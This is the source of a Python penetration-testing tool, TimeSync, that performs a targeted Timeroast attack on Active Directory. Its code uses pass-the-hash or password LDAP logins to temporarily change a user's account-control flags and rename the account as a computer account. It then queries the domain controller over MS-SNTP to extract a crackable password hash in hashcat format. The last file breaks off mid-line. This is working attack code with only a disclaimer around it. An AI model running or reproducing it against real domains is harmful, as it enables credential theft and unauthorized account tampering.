├── image.png ├── timesync ├── __init__.py ├── main.py ├── authenticator.py └── TargetedTimeroast.py ├── images ├── image.png ├── image1.png └── image2.png ├── setup.py ├── README.md ├── .gitignore └── LICENSE /image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PShlyundin/TimeSync/HEAD/image.png -------------------------------------------------------------------------------- /timesync/__init__.py: -------------------------------------------------------------------------------- 1 | # This file is required to make this directory a package. -------------------------------------------------------------------------------- /images/image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PShlyundin/TimeSync/HEAD/images/image.png -------------------------------------------------------------------------------- /images/image1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PShlyundin/TimeSync/HEAD/images/image1.png -------------------------------------------------------------------------------- /images/image2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PShlyundin/TimeSync/HEAD/images/image2.png -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | from setuptools import setup, find_packages 2 | 3 | setup( 4 | name='timesync', 5 | version='0.1.0', 6 | description='TimeSync - a tool to obtain hash using MS-SNTP for user accounts', 7 | author='t.me/riocool', 8 | author_email='riocool33@gmail.com', 9 | packages=find_packages(), 10 | install_requires=[ 11 | 'ldap3', 12 | ], 13 | entry_points={ 14 | 'console_scripts': [ 15 | 'timesync=timesync.main:main', 16 | ], 17 | }, 18 | classifiers=[ 19 | 'Programming Language :: Python :: 3', 20 | 'License :: OSI Approved :: MIT License', 21 | 'Operating System :: OS Independent', 22 | ], 23 | python_requires='>=3.6', 24 | ) -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # TimeSync 2 | Tool to obtain hash using MS-SNTP for user accounts 3 | 4 | ## Requirements 5 | 6 | - Python 3.x 7 | - `ldap3` library for LDAP operations 8 | 9 | ## Installation 10 | 11 | 1. Clone the repository: 12 | ```bash 13 | git clone https://github.com/yourusername/timeroast.git 14 | cd timeroast 15 | ``` 16 | 17 | 2. Install the required Python packages: 18 | ```bash 19 | pip install . 20 | ``` 21 | 22 | ### Options 23 | 24 | - `-u`, `--username`: Username for authentication (required) 25 | - `-p`, `--password`: Password for authentication (required) 26 | - `-d`, `--domain`: Domain name (required) 27 | - `-H`, `--hash`: NTLM hash for Pass-the-Hash authentication 28 | - `-t`, `--target`: Target user or group to query 29 | - `--dc-ip`: IP address of the domain controller to avoid DNS resolution issues 30 | 31 | ## Usage 32 | 33 | ```bash 34 | timesync -u -p -d -H -t 35 | ``` 36 | 37 | ## Example 38 | Extract hash for user `test` in domain `test.local` 39 | ```bash 40 | timesync -u test -p test -d test.local -t test 41 | ``` 42 | ![](./images/image.png) 43 | 44 | Extract all hashes for users in group `group1` with verbosity 45 | ```bash 46 | timesync -u test -p test -d test.local -t group1 -v 47 | ``` 48 | ![](./images/image1.png) 49 | 50 | Extract all hashes for users in domain `test.local` 51 | ```bash 52 | timesync -u test -p test -d test.local 53 | ``` 54 | ![](./images/image2.png) 55 | 56 | ## Disclaimer 57 | 58 | This tool is intended for educational purposes and authorized penetration testing only. Unauthorized use of this tool is prohibited and may violate local, state, and federal laws. 59 | 60 | ## License 61 | 62 | This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details. 63 | 64 | ## Contributing 65 | 66 | Contributions are welcome! Please open an issue or submit a pull request for any improvements or bug fixes. 67 | -------------------------------------------------------------------------------- /timesync/main.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import argparse 4 | import sys 5 | from timesync.authenticator import ADAuthenticator 6 | from timesync.TargetedTimeroast import TargetedTimeroast 7 | 8 | def parse_args(): 9 | parser = argparse.ArgumentParser(description='TimeSync - a tool to obtain hash using MS-SNTP for user accounts') 10 | 11 | # Authentication parameters 12 | auth_group = parser.add_argument_group('Authentication') 13 | auth_group.add_argument('-u', '--username', required=True, help='Username') 14 | auth_group.add_argument('-p', '--password', required=True, help='Password') 15 | auth_group.add_argument('-d', '--domain', required=True, help='Domain') 16 | auth_group.add_argument('-H', '--hash', help='NTLM hash for Pass-the-Hash') 17 | auth_group.add_argument('-t', '--target', help='Target user or group') 18 | auth_group.add_argument('--dc-ip', help='IP address of the domain controller to avoid DNS resolution issues') 19 | 20 | # Output parameters 21 | output_group = parser.add_argument_group('Output') 22 | output_group.add_argument('-v', '--verbose', action='store_true', 23 | help='Verbose output') 24 | 25 | # If no arguments are provided, show help and exit 26 | if len(sys.argv) == 1: 27 | parser.print_help() 28 | sys.exit(1) 29 | 30 | args = parser.parse_args() 31 | 32 | # Check for required authentication parameters 33 | if not args.hash and not (args.username and args.password): 34 | parser.error("Either NTLM hash (-H) or username and password (-u and -p) must be provided") 35 | 36 | return args 37 | 38 | def main(): 39 | args = parse_args() 40 | # Initialize authenticator 41 | auth = ADAuthenticator( 42 | username=args.username, 43 | password=args.password, 44 | domain=args.domain, 45 | dc_host=args.dc_ip, 46 | ntlm_hash=args.hash 47 | ) 48 | 49 | # Connect to AD 50 | if not auth.connect(): 51 | print("[!] Error connecting to Active Directory") 52 | sys.exit(1) 53 | 54 | print("[+] Successfully connected to Active Directory") 55 | 56 | # Execute TargetedTimeroast 57 | if args.target: 58 | TargetedTimeroast(auth.conn, args.target, args.verbose) 59 | else: 60 | TargetedTimeroast(auth.conn, verbose=args.verbose) 61 | 62 | if __name__ == '__main__': 63 | main() -------------------------------------------------------------------------------- /timesync/authenticator.py: -------------------------------------------------------------------------------- 1 | from ldap3 import Server, Connection, NTLM, ALL 2 | from ldap3.core.exceptions import LDAPException 3 | 4 | class ADAuthenticator: 5 | def __init__(self, username=None, password=None, domain=None, 6 | dc_host=None, ntlm_hash=None): 7 | # Initialize ADAuthenticator with credentials and domain information 8 | self.username = username 9 | self.password = password 10 | self.domain = domain 11 | self.dc_host = dc_host 12 | self.ntlm_hash = ntlm_hash 13 | self.conn = None 14 | 15 | def connect(self): 16 | """Establish connection to Active Directory""" 17 | try: 18 | server = Server(self.dc_host, get_info=ALL, use_ssl=False) 19 | user_domain = f"{self.domain}\\{self.username}" 20 | self.conn = self.get_ldap_client( 21 | self.domain, self.ntlm_hash, server, user_domain, self.username, self.password 22 | ) 23 | 24 | if not self.conn.bind(): 25 | raise LDAPException(f"Authentication error: {self.conn.result}") 26 | 27 | return True 28 | 29 | except Exception as e: 30 | print(f"[!] Connection error: {str(e)}") 31 | return False 32 | 33 | def get_ldap_client(self, domain, hashes, server, user_domain, username, password): 34 | """Get LDAP client connection""" 35 | try: 36 | if hashes is not None: 37 | formatted_hashes = f"aad3b435b51404eeaad3b435b51404ee:{hashes}" 38 | connection = Connection(server, user=user_domain, password=formatted_hashes, authentication=NTLM) 39 | bind_result = connection.bind() 40 | if not bind_result: 41 | raise LDAPException(f"Failed to perform LDAP bind to {server} with user {user_domain}") 42 | else: 43 | connection = Connection(server, user=user_domain, password=password, authentication=NTLM) 44 | bind_result = connection.bind() 45 | if not bind_result: 46 | raise LDAPException(f"Failed to perform LDAP bind with user {user_domain}") 47 | 48 | return connection 49 | except Exception as e: 50 | raise 51 | 52 | def disconnect(self): 53 | """Close connection""" 54 | if self.conn: 55 | self.conn.unbind() 56 | 57 | def get_connection(self): 58 | """Get current connection""" 59 | return self.conn -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | share/python-wheels/ 24 | *.egg-info/ 25 | .installed.cfg 26 | *.egg 27 | MANIFEST 28 | 29 | # PyInstaller 30 | # Usually these files are written by a python script from a template 31 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 32 | *.manifest 33 | *.spec 34 | 35 | # Installer logs 36 | pip-log.txt 37 | pip-delete-this-directory.txt 38 | 39 | # Unit test / coverage reports 40 | htmlcov/ 41 | .tox/ 42 | .nox/ 43 | .coverage 44 | .coverage.* 45 | .cache 46 | nosetests.xml 47 | coverage.xml 48 | *.cover 49 | *.py,cover 50 | .hypothesis/ 51 | .pytest_cache/ 52 | cover/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | .pybuilder/ 76 | target/ 77 | 78 | # Jupyter Notebook 79 | .ipynb_checkpoints 80 | 81 | # IPython 82 | profile_default/ 83 | ipython_config.py 84 | 85 | # pyenv 86 | # For a library or package, you might want to ignore these files since the code is 87 | # intended to run in multiple environments; otherwise, check them in: 88 | # .python-version 89 | 90 | # pipenv 91 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 92 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 93 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 94 | # install all needed dependencies. 95 | #Pipfile.lock 96 | 97 | # UV 98 | # Similar to Pipfile.lock, it is generally recommended to include uv.lock in version control. 99 | # This is especially recommended for binary packages to ensure reproducibility, and is more 100 | # commonly ignored for libraries. 101 | #uv.lock 102 | 103 | # poetry 104 | # Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. 105 | # This is especially recommended for binary packages to ensure reproducibility, and is more 106 | # commonly ignored for libraries. 107 | # https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control 108 | #poetry.lock 109 | 110 | # pdm 111 | # Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. 112 | #pdm.lock 113 | # pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it 114 | # in version control. 115 | # https://pdm.fming.dev/latest/usage/project/#working-with-version-control 116 | .pdm.toml 117 | .pdm-python 118 | .pdm-build/ 119 | 120 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm 121 | __pypackages__/ 122 | 123 | # Celery stuff 124 | celerybeat-schedule 125 | celerybeat.pid 126 | 127 | # SageMath parsed files 128 | *.sage.py 129 | 130 | # Environments 131 | .env 132 | .venv 133 | env/ 134 | venv/ 135 | ENV/ 136 | env.bak/ 137 | venv.bak/ 138 | 139 | # Spyder project settings 140 | .spyderproject 141 | .spyproject 142 | 143 | # Rope project settings 144 | .ropeproject 145 | 146 | # mkdocs documentation 147 | /site 148 | 149 | # mypy 150 | .mypy_cache/ 151 | .dmypy.json 152 | dmypy.json 153 | 154 | # Pyre type checker 155 | .pyre/ 156 | 157 | # pytype static type analyzer 158 | .pytype/ 159 | 160 | # Cython debug symbols 161 | cython_debug/ 162 | 163 | # PyCharm 164 | # JetBrains specific template is maintained in a separate JetBrains.gitignore that can 165 | # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore 166 | # and can be added to the global gitignore or merged into this file. For a more nuclear 167 | # option (not recommended) you can uncomment the following to ignore the entire idea folder. 168 | #.idea/ 169 | 170 | # PyPI configuration file 171 | .pypirc 172 | -------------------------------------------------------------------------------- /timesync/TargetedTimeroast.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import struct 3 | import socket 4 | from ldap3 import MODIFY_REPLACE 5 | import time 6 | from struct import pack, unpack 7 | from select import select 8 | 9 | class TargetedTimeroast: 10 | def __init__(self, conn, target=None, verbose=False): 11 | self.conn = conn 12 | self.target = target 13 | self.verbose = verbose 14 | 15 | # Configure logging level 16 | if self.verbose: 17 | logging.basicConfig(level=logging.DEBUG) 18 | else: 19 | logging.basicConfig(level=logging.INFO) 20 | 21 | # Create logger object 22 | self.logger = logging.getLogger(__name__) 23 | 24 | self.timeroast(target) 25 | 26 | def timeroast(self, target): 27 | self.users = self.parse_target(target) 28 | if self.users: 29 | for user in self.users: 30 | if user['rid'] not in ['501', '502']: 31 | self.attack(user) 32 | 33 | else: 34 | self.logger.error(f"[!] Target {target} not found") 35 | 36 | def get_uac(self, user): 37 | self.conn.search( 38 | search_base=self.conn.server.info.other['defaultNamingContext'], 39 | search_filter=f'(&(objectCategory=person)(objectClass=user)(sAMAccountName={user}))', 40 | attributes=['userAccountControl'] 41 | ) 42 | self.logger.debug(f"UAC for {user}: {self.conn.entries[0]['userAccountControl'].value}") 43 | return self.conn.entries[0]['userAccountControl'].value 44 | 45 | 46 | def set_uac(self, user, uac): 47 | try: 48 | # Form correct DN 49 | search_base = self.conn.server.info.other['defaultNamingContext'][0] 50 | self.conn.search( 51 | search_base=search_base, 52 | search_filter=f'(sAMAccountName={user["samaccountname"]})', 53 | attributes=['distinguishedName'] 54 | ) 55 | 56 | if len(self.conn.entries) == 0: 57 | self.logger.error(f"[!] User {user['samaccountname']} not found in directory") 58 | return 59 | 60 | user_dn = self.conn.entries[0]['distinguishedName'].value 61 | changes = { 62 | 'userAccountControl': [(MODIFY_REPLACE, [uac])] 63 | } 64 | self.conn.modify(user_dn, changes) 65 | 66 | # Add debug information 67 | if self.conn.result['description'] == 'success': 68 | self.logger.debug(f"UAC for {user['samaccountname']} set to {uac}") 69 | else: 70 | self.logger.error(f"[!] Failed to modify UAC for {user['samaccountname']}: {self.conn.result['description']}") 71 | self.logger.error(f"Details: {self.conn.result}") 72 | 73 | except Exception as e: 74 | self.logger.error(f"[!] Error modifying UAC for {user}: {str(e)}") 75 | return None 76 | 77 | def modify_samaccountname(self, user, new_user): 78 | try: 79 | # Form correct DN 80 | search_base = self.conn.server.info.other['defaultNamingContext'][0] 81 | self.conn.search( 82 | search_base=search_base, 83 | search_filter=f'(sAMAccountName={user})', 84 | attributes=['distinguishedName'] 85 | ) 86 | 87 | if len(self.conn.entries) == 0: 88 | self.logger.error(f"[!] User {user} not found in directory") 89 | return 90 | 91 | user_dn = self.conn.entries[0]['distinguishedName'].value 92 | changes = { 93 | 'sAMAccountName': [(MODIFY_REPLACE, [new_user])] 94 | } 95 | self.conn.modify(user_dn, changes) 96 | 97 | # Add debug information 98 | if self.conn.result['description'] == 'success': 99 | self.logger.debug(f"sAMAccountName for {user} changed to {new_user}") 100 | else: 101 | self.logger.error(f"[!] Failed to modify sAMAccountName for {user}: {self.conn.result['description']}") 102 | self.logger.error(f"Details: {self.conn.result}") 103 | 104 | except Exception as e: 105 | self.logger.error(f"[!] Error modifying sAMAccountName for {user}: {str(e)}") 106 | return None 107 | 108 | def parse_target(self, target): 109 | if target is None: 110 | # Get all users in domain 111 | self.conn.search( 112 | search_base=self.conn.server.info.other['defaultNamingContext'], 113 | search_filter='(&(objectCategory=person)(objectClass=user))', 114 | attributes=['sAMAccountName', 'objectSid'] 115 | ) 116 | return [{'rid': entry['objectSid'].value.split('-')[-1], 117 | 'samaccountname': entry['sAMAccountName'].value} 118 | for entry in self.conn.entries] 119 | 120 | # Try to find user first 121 | self.conn.search( 122 | search_base=self.conn.server.info.other['defaultNamingContext'], 123 | search_filter=f'(&(objectCategory=person)(objectClass=user)(sAMAccountName={target}))', 124 | attributes=['sAMAccountName', 'objectSid'] 125 | ) 126 | 127 | if len(self.conn.entries) > 0: 128 | return [{'rid': self.conn.entries[0]['objectSid'].value.split('-')[-1], 129 | 'samaccountname': self.conn.entries[0]['sAMAccountName'].value}] 130 | 131 | # If user not found, try to find group 132 | self.conn.search( 133 | search_base=self.conn.server.info.other['defaultNamingContext'], 134 | search_filter=f'(&(objectClass=group)(sAMAccountName={target}))', 135 | attributes=['distinguishedName'] 136 | ) 137 | 138 | if len(self.conn.entries) == 0: 139 | return None 140 | 141 | group_dn = self.conn.entries[0]['distinguishedName'].value 142 | 143 | # Get all users from group recursively 144 | self.conn.search( 145 | search_base=self.conn.server.info.other['defaultNamingContext'], 146 | search_filter=f'(&(objectCategory=person)(objectClass=user)(memberOf:1.2.840.113556.1.4.1941:={group_dn}))', 147 | attributes=['sAMAccountName', 'objectSid'] 148 | ) 149 | 150 | return [{'rid': entry['objectSid'].value.split('-')[-1], 151 | 'samaccountname': entry['sAMAccountName'].value} 152 | for entry in self.conn.entries] 153 | 154 | def hashcat_format(self, answer_rid, md5hash, salt): 155 | return f'{answer_rid}:$sntp-ms${md5hash.hex()}${salt.hex()}' 156 | 157 | def attack(self, user): 158 | domain_controller = self.conn.server.host 159 | NEW_UAC = 4096 160 | NEW_User = user['samaccountname']+'$' 161 | target_rid = user['rid'] 162 | target_name = user['samaccountname'] 163 | 164 | old_uac = self.get_uac(target_name) 165 | self.set_uac(user, NEW_UAC) 166 | self.modify_samaccountname(target_name, NEW_User) 167 | hashcat_hash = self.timeroast_target(domain_controller, 168 | int(target_rid), 169 | NEW_User) 170 | self.modify_samaccountname(NEW_User, target_name) 171 | self.set_uac(user, old_uac) 172 | 173 | print(hashcat_hash) 174 | 175 | def timeroast_target(self, domain_controller, target_rid, target_name): 176 | self.logger.debug(f"Domain controller: {domain_controller}, target rid: {target_rid}, target name: {target_name}") 177 | 178 | 179 | NTP_PREFIX = bytes([ 180 | 0xdb, 0x00, 0x11, 0xe9, 0x00, 0x00, 0x00, 0x00, 181 | 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 182 | 0xe1, 0xb8, 0x40, 0x7d, 0xeb, 0xc7, 0xe5, 0x06, 183 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 184 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 185 | 0xe1, 0xb8, 0x42, 0x8b, 0xff, 0xbf, 0xcd, 0x0a 186 | ]) 187 | 188 | keyflag = 2**31 189 | 190 | with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as sock: 191 | try: 192 | sock.bind(('0.0.0.0', 0)) 193 | except PermissionError: 194 | raise PermissionError(f'No permission to listen on port 0. May need to run as root.') 195 | 196 | query_interval = 1 / 100 197 | last_ok_time = time.time() 198 | 199 | while time.time() < last_ok_time + 24: 200 | 201 | # Send out query for the next RID, if any. 202 | query_rid = target_rid 203 | query = NTP_PREFIX + pack('